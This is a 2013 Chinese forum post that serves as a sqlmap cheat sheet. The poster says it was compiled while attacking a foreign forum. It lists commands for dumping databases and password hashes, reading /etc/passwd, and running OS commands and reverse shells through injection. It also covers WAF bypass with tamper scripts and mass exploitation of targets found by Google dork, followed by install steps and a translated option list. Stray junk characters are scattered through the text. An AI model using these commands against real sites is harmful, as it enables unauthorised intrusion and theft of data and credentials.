找回密码
 立即注册
查看: 3054|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
( x; E  b5 L+ H: ?sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
! p; D  q) C$ x, L: X6 vsqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
) C- W$ g3 s7 _* Q, G6 U* osqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段) k0 C  A% I2 g

: O5 p3 e: v" d9 v! h8 ?# |sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
( w& i- [+ X6 @0 #获取字段内容
. z& e# S8 F/ f
" }* a+ r9 I# R) E( b******************信息获取******************
3 ~# Y4 P' i/ v9 xsqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型+ C1 ]2 L/ Z- m8 U: `+ S
sqlmap -u “http://url/news?id=1″ –users #列数据库用户& E8 a/ L4 s; v4 Q/ e% S
sqlmap -u “http://url/news?id=1″ –dbs#列数据库" T& }( _) b* n( k: X/ ?0 b: R
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
$ y; W0 A0 F8 k0 v  \2 \! Hsqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码. {* \+ P# g% y; E2 e/ q
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”  Q1 \* P$ |& |
–start 1 –stop 20 #列出指定字段,列出20 条: [; V& S; A# V8 `  _+ [
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表( ]) K: |* t! M( V  W% Z
sqlmap -u “http://url/news?id=1″ –privileges #查看权限, P/ R1 N) v3 A) h$ e1 K
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色. o' [$ _5 C; s: x1 V" b
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!). }" W# |- u  W0 C, q* f9 L/ n) ?
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表! a% Z! h- H* W& u% \2 B
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
- S; J) c/ ?7 Osqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
1 A2 t0 V5 e1 ?+ C6 R# ksqlmap -u “http://url/news?id=1″-b #获取banner信息
" q3 `' h. ~3 w0 U& f0 u0 ^) j( y& {sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
) h$ S; I% _% C& i9 i" t) ?sqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型8 H- x# A# Z- D0 G2 X
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入" Z( W/ D8 v5 W0 n
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词; _& M, M" M* x5 ]: A; X/ \7 O
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
& L7 K& s: L* o4 j( [* d1 |* `8 wsqlmap -u “http://url/news?id=1″ –file /etc/passwd
7 n- h+ j; Y* @; A& e6 n; ?& Ysqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令1 I/ Q/ W  E6 |2 S7 C
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
; k5 Y" _8 [% t% @+ I! Z/ `sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表8 l: K# x) E! M+ w, _
sqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度# ?- n+ P) q! G/ g4 i: F
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度, l$ ?) m( m& `' s2 k
***********高级用法*************
4 g; d1 \: b# ?& \# B1 c. B6 k-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
) u+ h3 n( G! _4 _5 i4 l' b! Zsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问$ w; A4 g% f7 N+ W4 W' _
–technique   测试指定注入类型\使用的技术; O2 i; O4 H/ f1 D2 b6 |9 N2 k
不加参数默认测试所有注入技术6 v. S" {0 B! j  [, Q8 e
•     B: 基于布尔的SQL 盲注
3 Y; W! R# @2 S. @) B- n  m. P•     E: 基于显错sql 注入
* i: g: f+ P4 t6 g) ~/ d•     U: 基于UNION 注入3 B3 w0 Y. V* U, t1 i% l7 Q3 r7 D
•     S: 叠层sql 注入
3 C% s6 t) E+ O. b. `( }•     T: 基于时间盲注, ~* T5 d2 E& c& x2 k/ l
–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()2 T1 i8 c+ ?" t
–tamper 插件所在目录
$ \5 \  i" s* I5 r# W3 r\sqlmap-dev\tamper
8 J7 [) I7 B9 ~sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能2 q3 R) B; K) ^6 `
level 执行测试等级 攻击实例:
$ [( y: f2 e$ b. WSqlmap -u “http://url/news?id=1&Submit=Submit”
4 K& O( [3 z% }1 o; ^! c* k" t–cookie=”PHPSESSID=41aa833e6d0d/ R: @  ?( E9 B2 t7 n0 X+ z
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
. K# a/ a8 c. [( P–password6 U3 N7 V& V8 H6 W- _4 V7 y
参考文档:http://sqlmap.sourceforge.net/doc/README.html
  Q) A; A- ~3 f5 |3 s5 Q***********安装最新版本*************2 R4 F+ j! |3 Y8 v3 c/ @
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版( T+ K  x7 j6 Y  f
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev3 j: G8 G1 x( |9 M
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
/ x" ^1 c5 W) B  S  {sudo vim /home/当前用户/.bashrc0 F, V$ \8 R& f0 u- E- s9 ]" X
#任意位置加上:
  A% Y& i$ r* B9 ]alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
3 ]2 n, E, _# x3 H4 F. u如果想对所有用户有效 可设置全局 编辑下面的文件
$ X& j0 Q9 X, b" Evim /etc/profile0 t5 D" q7 |$ R3 F
同样加上:; U- v1 O+ F4 ]4 z
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
# Q& j" Y2 W: L. V( s' D******************windows 7 (x64) sqlmap install (SVN)************
; o* ~9 ~+ G- {0 e6 j8 Y% b7 Ihttp://www.python.org/getit/ 安装python* c. V- I6 l9 e/ R1 y5 o' ~, w
http://www.sliksvn.com/en/download 安装windows svn client
1 R$ F4 X  F+ Y2 }9 r; Ksvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev% \' \7 u5 Z9 A0 Y. }' L/ s
安装sqlmap
$ o  b8 `  l9 v$ r. h: Z* C*修改环境变量
, b1 r7 K5 S+ d5 F* }2 Q$ A# b–version             显示程序的版本号并退出; V( T6 ^4 p# o2 |
-h, –help            显示此帮助消息并退出4 k& s: ^1 ~6 W# V, p0 J3 K
-v VERBOSE            详细级别:0-6(默认为1)% X7 @2 ]( j& q1 {) F9 J" r$ J" y" G1 W7 }
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。% _+ \! B: u) r" T3 S  T
-d DIRECT           直接连接到数据库。; o7 Q' [+ b4 C2 b4 o+ |, _
-u URL, –url=URL   目标URL。
# \: ~, x7 \# \. n-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
, A1 C; e6 O% G1 L+ N  d+ J: G6 Y4 k-r REQUESTFILE      从一个文件中载入HTTP 请求。
4 j# l3 {/ D. J-g GOOGLEDORK       处理Google dork 的结果作为目标URL。+ ^0 p) Y- b. T" O8 N2 w
-c CONFIGFILE       从INI 配置文件中加载选项。
( F( k: s" |- }0 ~  y( S' B" {. ~9 QRequest(请求)::
" k) L* }7 c/ v# t这些选项可以用来指定如何连接到目标URL。4 Y* H  W8 \- {7 ^
–data=DATA         通过POST 发送的数据字符串* K" A* p0 o, S, K, ]4 d
–cookie=COOKIE     HTTP Cookie 头
) J" ?. a5 |8 x! U7 |% p& r–cookie-urlencode  URL 编码生成的cookie 注入
- h) h, {+ l& ^  d3 n( c–drop-set-cookie   忽略响应的Set –Cookie 头信息
% O6 _+ O4 `8 I" T' r / U2 M& b6 ?0 o. f/ b  d# l
–user-agent=AGENT  指定  HTTP User –Agent 头
& g7 z* p' ^; i# U0 S/ }: v–random-agent      使用随机选定的HTTP User –Agent 头
* u: v9 ^& P' s: S–referer=REFERER   指定  HTTP Referer 头8 k, s& W5 N  b
–headers=HEADERS   换行分开,加入其他的HTTP 头
" U1 H+ I6 g: v" o–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)  M8 S' W0 g* L0 K- M5 i
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)& D1 U; N/ w" f: R: R5 I
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)% z5 u" N! a2 l3 j5 a
–proxy=PROXY       使用HTTP 代理连接到目标URL" }4 E8 T  o; ^5 n4 [( |& H
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
$ d5 P" _$ k! a; X–ignore-proxy      忽略系统默认的HTTP 代理
% L, W0 w! J% x9 T# \  ]) I–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
% ]3 s( v! @5 Z3 j) t" V–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)( W/ U4 d: P0 z2 K% r
–retries=RETRIES   连接超时后重新连接的时间(默认3)
6 A* A* v7 p: w) `7 K–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式. N/ I' S$ A" K
–safe-url=SAFURL   在测试过程中经常访问的url 地址
% j, H) x2 j/ K8 ?' W! M–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL3 \! h# p5 l; \& K- Y! B, ^, G! a
Optimization(优化): 这些选项可用于优化SqlMap 的性能。, X( O+ M1 ?5 X% R7 a  |4 {
-o                  开启所有优化开关
' \; [  S6 W6 C4 @–predict-output    预测常见的查询输出
( i- ?' K2 B% K. z–keep-alive        使用持久的HTTP(S)连接
6 D, g  j# L0 C; ?% V$ m& p–null-connection   从没有实际的HTTP 响应体中检索页面长度* B2 W8 i" s- _, N' {
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1): v3 [5 a0 e9 j1 r; L
Injection(注入):: j/ W0 b' h$ F" v0 t
这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
  P6 }3 o- C# W9 c-p TESTPARAMETER    可测试的参数(S)7 N1 j$ I8 c- x9 a8 f  b" o- Q- D" K: [* e
–dbms=DBMS         强制后端的DBMS 为此值! x! q6 n, a; e  X: J
–os=OS             强制后端的DBMS 操作系统为这个值0 N" `3 }) K0 f# N. Q$ M6 x! i0 ^9 p
–prefix=PREFIX     注入payload 字符串前缀
. P8 Q3 r( M! Y/ ]+ a' y( o: c–suffix=SUFFIX     注入 payload 字符串后缀
$ ]4 u5 C9 Y, K! _–tamper=TAMPER     使用给定的脚本(S)篡改注入数据: `: q% ~( r# p( S
Detection(检测):
' `; @' z! ?4 }: T这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。5 Y8 q# F- Z. E- l# ^2 A
–level=LEVEL       执行测试的等级(1-5,默认为1)- V( n; C2 O6 U* j% G$ @* `4 V7 G
–risk=RISK         执行测试的风险(0-3,默认为1)
+ Q" \4 u  A5 z' A. F–string=STRING     查询时有效时在页面匹配字符串
: P7 N, ?2 K8 P, P–regexp=REGEXP     查询时有效时在页面匹配正则表达式
' r2 `$ Z% C" m, V1 M–text-only         仅基于在文本内容比较网页
9 F) e/ x( C8 t6 pTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
  m' B* ~9 T2 e# f1 Y; y7 x& V6 |–technique=TECH    SQL 注入技术测试(默认BEUST)
2 q! l3 i& H" `+ p5 I" J5 F–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)5 O% a5 k  K* G1 B$ T
–union-cols=UCOLS  定列范围用于测试UNION 查询注入
* `0 Y0 v/ v% v" d. V. X8 x–union-char=UCHAR  用于暴力猜解列数的字符. V% \6 A8 ~1 W: I. t5 u
Fingerprint(指纹):
8 g. l$ ^9 t5 m9 a# o( D-f, –fingerprint     执行检查广泛的DBMS 版本指纹
' q& @% e' H* d' i' s! K3 lEnumeration(枚举):
* c* s4 u  {  t 0 F" S6 I8 t7 N
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。2 i. j7 ]4 a% x5 k
-b, –banner        检索数据库管理系统的标识
7 Y) l; t2 c* E& _  P–current-user      检索数据库管理系统当前用户' Y7 q5 L. S# Q$ I; Q
–current-db        检索数据库管理系统当前数据库
9 M, v# J7 {, D–is-dba            检测DBMS 当前用户是否DBA
0 |8 l4 }2 V# N- h$ h0 m* `–users             枚举数据库管理系统用户$ V; _0 y0 V2 ?- A4 p
–passwords         枚举数据库管理系统用户密码哈希
& k$ A8 w6 |0 d–privileges        枚举数据库管理系统用户的权限2 Y4 f+ G  X# D- r
–roles             枚举数据库管理系统用户的角色
. c# l7 @) [1 t2 @–dbs               枚举数据库管理系统数据库
6 A$ g9 w* \7 J) ?$ j–tables            枚举的DBMS 数据库中的表
' c8 m5 D4 C6 o, Q3 s+ o–columns           枚举DBMS 数据库表列# b1 b6 }- G* J' N2 l2 @; `
–dump              转储数据库管理系统的数据库中的表项
6 c9 J. _/ U% O, ^4 D5 D–dump-all          转储所有的DBMS 数据库表中的条目
: Q0 W' L# h! o  X–search            搜索列(S),表(S)和/或数据库名称(S)
2 z  E0 Y) M, {/ P" d$ n-D DB               要进行枚举的数据库名
, u. Z' d6 l) x/ F5 t: q-T TBL              要进行枚举的数据库表
4 n( [2 n5 w, J4 ?7 a! @-C COL              要进行枚举的数据库列
8 R" K" {" p0 F. ]" ]7 P-U USER             用来进行枚举的数据库用户
' K/ r/ F, L( s–exclude-sysdbs    枚举表时排除系统数据库2 ^/ C) P9 ^" [( P
–start=LIMITSTART  第一个查询输出进入检索
: ^9 f' n$ {, u( p–stop=LIMITSTOP    最后查询的输出进入检索) l4 @0 O5 B' U5 \# G, z) ]% i
–first=FIRSTCHAR   第一个查询输出字的字符检索
, H! x5 u/ `! }" R/ Q: f; P  V( W–last=LASTCHAR     最后查询的输出字字符检索# ]  ?0 i: A" w7 x4 \) s% b
–sql-query=QUERY   要执行的SQL 语句
4 h/ D2 ~4 `5 N- S5 B# c7 ~8 x; h; b–sql-shell         提示交互式SQL 的shell2 m! z2 U4 ~& n# |) k5 M
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。7 a2 F5 [9 }$ D; ~. l4 N. T; p
–common-tables     检查存在共同表, F9 i$ Y+ |8 K) s8 }' m+ X
–common-columns    检查存在共同列
4 _# Q& X  Q- e2 P* J) B+ ^6 eUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。6 K4 B9 U9 P/ U7 Z" D
–udf-inject        注入用户自定义函数2 D$ {1 j& R  K. x
–shared-lib=SHLIB  共享库的本地路径$ j, R: k! Q. W6 H) ~- _
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。5 ?7 X, M( |+ Z, `
–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
( j& `- d; a# N–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件  A1 E$ W, h6 H
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
2 t5 [: k% s- K8 g6 nOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。9 j* Z* T; d. [4 [
–os-cmd=OSCMD      执行操作系统命令
) K% C0 c3 c' O" X" l/ C& ~–os-shell          交互式的操作系统的shell
" m( q; `. ]8 _–os-pwn            获取一个OOB shell,meterpreter 或VNC
4 [) d  B8 U' I2 q–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC' f! \. I# ]7 E
–os-bof            存储过程缓冲区溢出利用
/ g/ l1 @) J& g+ h% A. Q7 g! x–priv-esc          数据库进程用户权限提升; M4 }( {; i0 G( [% ^- ~, i4 [: q
–msf-path=MSFPATH  Metasploit Framework 本地的安装路径  P: x1 j( P8 X" x
–tmp-path=TMPPATH  远程临时文件目录的绝对路径
9 `/ N: U' R' h* r) S ' K4 \) N( J7 {7 l
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。1 [! F2 m- y" C1 o
–reg-read          读一个Windows 注册表项值
3 `' b! S1 c. K2 T–reg-add           写一个Windows 注册表项值数据
( z. `- c# P: W) P–reg-del           删除Windows 注册表键值% i& n! @1 W7 M
–reg-key=REGKEY    Windows 注册表键
  b- `# G( T0 V, V–reg-value=REGVAL  Windows 注册表项值
0 C- ]. n" Z# n6 ^: L$ r–reg-data=REGDATA  Windows 注册表键值数据
( d# h! N5 x7 _. R. `# K6 j–reg-type=REGTYPE  Windows 注册表项值类型
% G' T* ?0 [) D, sGeneral(一般): 这些选项可以用来设置一些一般的工作参数。
5 ~; y( D4 s( t0 F; [; W! j5 p! u-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
) d+ J( X5 x1 K-s SESSIONFILE      保存和恢复检索会话文件的所有数据
/ D( b  l8 q% L' p2 N# O! ]–flush-session     刷新当前目标的会话文件1 u' C) b& ]) K8 f( X& a/ l4 J/ p
–fresh-queries     忽略在会话文件中存储的查询结果0 o& n% b, G$ T
–eta               显示每个输出的预计到达时间
% l) I. r+ v: y4 \+ K–update            更新SqlMap( y% n- H* o3 s2 I
–save              file 保存选项到INI 配置文件& J" X) _) R  P
–batch             从不询问用户输入,使用所有默认配置。
" `/ H' ~/ r! f" J: d6 HMiscellaneous(杂项):' W% @+ `& h& V9 u- S  N# S
–beep              发现SQL 注入时提醒
; W/ A4 W# H7 R0 h( P2 b* e–check-payload     IDS 对注入payloads 的检测测试
5 n. |9 f8 I/ s; C–cleanup           SqlMap 具体的UDF 和表清理DBMS; v) Z$ E# j) f5 C; R* R5 V# w2 K8 J& i
–forms             对目标URL 的解析和测试形式8 y7 M8 w  @2 a7 e$ p' N1 G9 V
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果5 E+ }  V7 ]% o
–page-rank         Google dork 结果显示网页排名(PR)
: O2 k% V# `% h* z6 c7 k9 q–parse-errors      从响应页面解析数据库管理系统的错误消息
. f. l( V* ^# a1 k9 W–replicate         复制转储的数据到一个sqlite3 数据库
# j6 ]' ]4 D7 j1 x6 {$ S–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址2 W/ K0 b, m5 W1 e3 y1 v- \9 N5 u
–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表